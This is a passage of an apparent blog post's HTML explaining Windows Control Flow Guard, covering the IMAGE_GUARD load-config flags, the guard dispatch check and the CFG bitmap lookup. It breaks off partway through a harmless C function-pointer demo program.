style="font-size:12pt;font-family:Consolas,sans-serif;color:#fc9b9b;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">#define IMAGE_GUARD_CF_FUNCTION_TABLE_PRESENT 0x00000400 </span><span style="font-size:12pt;font-family:Consolas,sans-serif;color:#888888;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">// Module contains valid control flow target metadata</span><span style="font-size:12pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:12pt;font-family:Consolas,sans-serif;color:#fc9b9b;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">#define IMAGE_GUARD_SECURITY_COOKIE_UNUSED 0x00000800 </span><span style="font-size:12pt;font-family:Consolas,sans-serif;color:#888888;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">// Module does not make use of the /GS security cookie</span><span style="font-size:12pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:12pt;font-family:Consolas,sans-serif;color:#fc9b9b;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">#define IMAGE_GUARD_PROTECT_DELAYLOAD_IAT 0x00001000 </span><span style="font-size:12pt;font-family:Consolas,sans-serif;color:#888888;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">// Module supports read only delay load IAT</span><span style="font-size:12pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:12pt;font-family:Consolas,sans-serif;color:#fc9b9b;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">#define IMAGE_GUARD_DELAYLOAD_IAT_IN_ITS_OWN_SECTION 0x00002000 </span><span style="font-size:12pt;font-family:Consolas,sans-serif;color:#888888;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">// Delayload import table in its own .didat section (with nothing else in it) that can be freely reprotected</span><span style="font-size:12pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:12pt;font-family:Consolas,sans-serif;color:#fc9b9b;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">#define IMAGE_GUARD_CF_EXPORT_SUPPRESSION_INFO_PRESENT 0x00004000 </span><span style="font-size:12pt;font-family:Consolas,sans-serif;color:#888888;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">// Module contains suppressed export information. This also infers that the address taken</span><span style="font-size:12pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:12pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:12pt;font-family:Consolas,sans-serif;color:#888888;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">// taken IAT table is also present in the load config.</span><span style="font-size:12pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:12pt;font-family:Consolas,sans-serif;color:#fc9b9b;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">#define IMAGE_GUARD_CF_ENABLE_EXPORT_SUPPRESSION 0x00008000 </span><span style="font-size:12pt;font-family:Consolas,sans-serif;color:#888888;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">// Module enables suppression of exports</span><span style="font-size:12pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:12pt;font-family:Consolas,sans-serif;color:#fc9b9b;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">#define IMAGE_GUARD_CF_LONGJUMP_TABLE_PRESENT 0x00010000 </span><span style="font-size:12pt;font-family:Consolas,sans-serif;color:#888888;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">// Module contains longjmp target information</span><span style="font-size:12pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:12pt;font-family:Consolas,sans-serif;color:#fc9b9b;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">#define IMAGE_GUARD_RF_INSTRUMENTED 0x00020000 </span><span style="font-size:12pt;font-family:Consolas,sans-serif;color:#888888;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">// Module contains return flow instrumentation and metadata</span><span style="font-size:12pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:12pt;font-family:Consolas,sans-serif;color:#fc9b9b;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">#define IMAGE_GUARD_RF_ENABLE 0x00040000 </span><span style="font-size:12pt;font-family:Consolas,sans-serif;color:#888888;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">// Module requests that the OS enable return flow protection</span><span style="font-size:12pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:12pt;font-family:Consolas,sans-serif;color:#fc9b9b;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">#define IMAGE_GUARD_RF_STRICT 0x00080000 </span><span style="font-size:12pt;font-family:Consolas,sans-serif;color:#888888;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">// Module requests that the OS enable return flow protection in strict mode</span><span style="font-size:12pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:12pt;font-family:Consolas,sans-serif;color:#fc9b9b;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">#define IMAGE_GUARD_RETPOLINE_PRESENT 0x00100000 </span><span style="font-size:12pt;font-family:Consolas,sans-serif;color:#888888;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">// Module was built with retpoline support</span><span style="font-size:12pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:12pt;font-family:Consolas,sans-serif;color:#fc9b9b;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">#define IMAGE_GUARD_CF_FUNCTION_TABLE_SIZE_MASK 0xF0000000 </span><span style="font-size:12pt;font-family:Consolas,sans-serif;color:#888888;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">// Stride of Guard CF function table encoded in these bits (additional count of bytes per element)</span><span style="font-size:12pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:12pt;font-family:Consolas,sans-serif;color:#fc9b9b;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">#define IMAGE_GUARD_CF_FUNCTION_TABLE_SIZE_SHIFT 28 </span><span style="font-size:12pt;font-family:Consolas,sans-serif;color:#888888;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">// Shift to right-justify Guard CF function table stride</span></p></td></tr></tbody></table><!--kg-card-end: html--><p><br><br></p><p>Functions that are valid indirect call targets are listed in the <em>GuardCFFunctionTable</em>, sometimes termed the GFIDS table. This is a sorted list of relative virtual addresses (RVA) that contain information about valid CFG call targets. There are two other function pointer with following usecase:</p><p><em>GuardCFCheckFunctionPointer </em>provides the address of an OS-loader provided symbol that can be called with a function pointer in the first integer argument register (ECX on x86) which will return on success or will abort the process if the call target is not a valid CFG target.</p><p>The <em>GuardCFDispatchFunctionPointer </em>provides the address of an OS-loader provided symbol that takes a call target in register RAX and performs a combined CFG check and tail branch optimized call to the call target (registers R10/R11 are reserved for use by the <em>GuardCFDispatchFunctionPointer </em>and integer argument registers are reserved for use by the ultimate call target).</p><p>In addition to possessing a specific header for CFG, Windows executes two additional tasks in order to enable CFG for a binary:</p><ul><li>Instrument around all indirect call with <em>_guard_check_icall</em> check.</li><li>Mapping CFG bitmap in process memory space during Process initialization</li></ul><p><em><strong>__guard_dispatch_icall_fptr</strong></em><strong> check</strong></p><p>CFG when enabled, msvc compiler will wrap all the indirect calls in a given binary by a call to <em>__guard_dispatch_icall_fptr </em>(Guard CF address dispatch-function pointer) which ensure the target address is valid. The wrapper function <em>_guard_dispatch_icall_fptr</em> is actually a placeholder at compile-time and will be patched by the NT loader on module loading to point to <em>LdrpValidateUserCallTarget </em>to do the actual check. We will look into the call in the next section for better understanding.</p><p><strong>CFG Bitmap</strong></p><p>The NT loader will, on a module load (see ntdll!LdrSystemDllInitBlock ), parse the Load Configuration entry to look for CFG aware capabilities and, if enabled, will generate a CFG bitmap storing all the valid targets address from the CFG whitelist in the module. <em>__guard_dispatch_icall_fptr</em> calls <em>ntdll!LdrpValidateUserCallTarget</em> which during execution verifies the call to be valid using CFG Bitmap loaded in memory.</p><p>CFGBitmap represents the starting location of all the functions in the process space. The status of every 8 bytes in the process space corresponds to a bit in CFGBitmap. If there is a function starting address in each group of 8 bytes, the corresponding bit in CFGBitmap is set to 1; otherwise it is set to 0.</p><p>Let&#x2019;s take the function target address to be 0x00b01030. The address is used to get the bit in Bitmap and verified if is 1 or 0.</p><figure class="kg-card kg-image-card"><img src="https://lh7-us.googleusercontent.com/Kp6vePtAdyS3Q3y0APbVBjO9W7R-mLNzeHxsSUIpyFqCYyk8MrFqPl8BqGeKa9p26T7qMx0yzfsCG6Qz4ZnBYTU90c_pOqntJLJkz-jV1sQTh9IErXm_IcIyHkvKw2BIE7Y4urkx7Rzmy6t3vv0N7kQ" class="kg-image" alt="Nostalgic memory - An attempt to understand the evolution of memory corruption mitigations - Part 3" loading="lazy" width="605" height="67"></figure><p>The highest 3 bytes (the 24 bits encircled in blue) is the offset for CFGBitmap (unit is 4 bytes/32 bits). In this example, the highest three bytes are equal to 0xb010.Therefore, the pointer to a four byte unit in CFGBitmap is the base address ofCFGBitmap plus 0xb010.</p><p>Meanwhile, the fourth bit to the eighth bit (the five bits encircled in red) have the value X. If the target address is aligned with 0x10 (target address &amp; 0xf == 0), then X is the bit offset value within the unit. If the target address is not aligned with <code>0x10</code>(target address &amp; 0xf != 0), the <code>X | 0x1</code> is the bit offset value. If the bit is equal to 1, it means the indirect call target is valid because it is a function&#x2019;s starting address. If the bit is 0, it means the indirect call target is invalid because it is not a function&#x2019;s starting address.</p><h6 id="cfg-in-action"><em>CFG in Action</em></h6><p>Let&#x2019;s compile the following program with CFG enable to check the modifications in binary due to CFG.</p><!--kg-card-begin: html--><table style="border:none;border-collapse:collapse;"><colgroup></colgroup><tbody><tr style="height:0pt"><td style="vertical-align:top;background-color:#333333;padding:5pt 5pt 5pt 5pt;overflow:hidden;overflow-wrap:break-word;"><p dir="ltr" style="line-height:1.38;margin-top:0pt;margin-bottom:0pt;"><span style="font-size:9.5pt;font-family:Consolas,sans-serif;color:#fc9b9b;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">#include &lt;stdio.h&gt;</span><span style="font-size:9.5pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:9.5pt;font-family:Consolas,sans-serif;color:#fc9b9b;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">#include&lt;Windows.h&gt;</span><span style="font-size:9.5pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:9.5pt;font-family:Consolas,sans-serif;color:#fc9b9b;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">#include&lt;Memoryapi.h&gt;</span><span style="font-size:9.5pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:9.5pt;font-family:Consolas,sans-serif;color:#888888;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">// Function prototypes</span><span style="font-size:9.5pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:9.5pt;font-family:Consolas,sans-serif;color:#fcc28c;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">int</span><span style="font-size:9.5pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"> </span><span style="font-size:9.5pt;font-family:Consolas,sans-serif;color:#ffffaa;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">add</span><span style="font-size:9.5pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">(</span><span style="font-size:9.5pt;font-family:Consolas,sans-serif;color:#fcc28c;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">int</span><span style="font-size:9.5pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"> a, </span><span style="font-size:9.5pt;font-family:Consolas,sans-serif;color:#fcc28c;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">int</span><span style="font-size:9.5pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"> b);</span><span style="font-size:9.5pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:9.5pt;font-family:Consolas,sans-serif;color:#fcc28c;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">int</span><span style="font-size:9.5pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"> </span><span style="font-size:9.5pt;font-family:Consolas,sans-serif;color:#ffffaa;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">subtract</span><span style="font-size:9.5pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">(</span><span style="font-size:9.5pt;font-family:Consolas,sans-serif;color:#fcc28c;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">int</span><span style="font-size:9.5pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"> a, </span><span style="font-size:9.5pt;font-family:Consolas,sans-serif;color:#fcc28c;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">int</span><span style="font-size:9.5pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"> b);</span><span style="font-size:9.5pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:9.5pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:9.5pt;font-family:Consolas,sans-serif;color:#fcc28c;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">int</span><span style="font-size:9.5pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"> </span><span style="font-size:9.5pt;font-family:Consolas,sans-serif;color:#ffffaa;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">main</span><span style="font-size:9.5pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">() {</span><span style="font-size:9.5pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:9.5pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">&#xA0; &#xA0; </span><span style="font-size:9.5pt;font-family:Consolas,sans-serif;color:#888888;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">// Declare a function pointer</span><span style="font-size:9.5pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:9.5pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">&#xA0; &#xA0; </span><span style="font-size:9.5pt;font-family:Consolas,sans-serif;color:#fcc28c;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">int</span><span style="font-size:9.5pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"> a;</span><span style="font-size:9.5pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:9.5pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">&#xA0; &#xA0; </span><span style="font-size:9.5pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:9.5pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">&#xA0; &#xA0; </span><span style="font-size:9.5pt;font-family:Consolas,sans-serif;color:#fcc28c;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">int</span><span style="font-size:9.5pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"> (*operation)(</span><span style="font-size:9.5pt;font-family:Consolas,sans-serif;color:#fcc28c;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">int</span><span style="font-size:9.5pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">, </span><span style="font-size:9.5pt;font-family:Consolas,sans-serif;color:#fcc28c;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">int</span><span style="font-size:9.5pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">);</span><span style="font-size:9.5pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:9.5pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">&#xA0; &#xA0; </span><span style="font-size:9.5pt;font-family:Consolas,sans-serif;color:#ffffaa;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">printf</span><span style="font-size:9.5pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">(</span><span style="font-size:9.5pt;font-family:Consolas,sans-serif;color:#a2fca2;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">&quot;Enter 1 for add and 2 for substract:&quot;</span><span style="font-size:9.5pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">);</span><span style="font-size:9.5pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:9.5pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">&#xA0; &#xA0; scanf_s(</span><span style="font-size:9.5pt;font-family:Consolas,sans-serif;color:#a2fca2;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">&quot; %d&quot;</span><span style="font-size:9.5pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">, &amp;a);</span><span style="font-size:9.5pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:9.5pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">&#xA0; &#xA0; </span><span style="font-size:9.5pt;font-family:Consolas,sans-serif;color:#fcc28c;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">if</span><span style="font-size:9.5pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"> (a == </span><span style="font-size:9.5pt;font-family:Consolas,sans-serif;color:#d36363;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">1</span><span style="font-size:9.5pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">)</span><span style="font-size:9.5pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:9.5pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">&#xA0; &#xA0; {</span><span style="font-size:9.5pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:9.5pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">&#xA0; &#xA0; &#xA0; &#xA0; </span><span style="font-size:9.5pt;font-family:Consolas,sans-serif;color:#888888;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">// Assign the address of the add function to the function pointer</span><span style="font-size:9.5pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:9.5pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">&#xA0; &#xA0; &#xA0; &#xA0; operation = add;</span><span style="font-size:9.5pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span 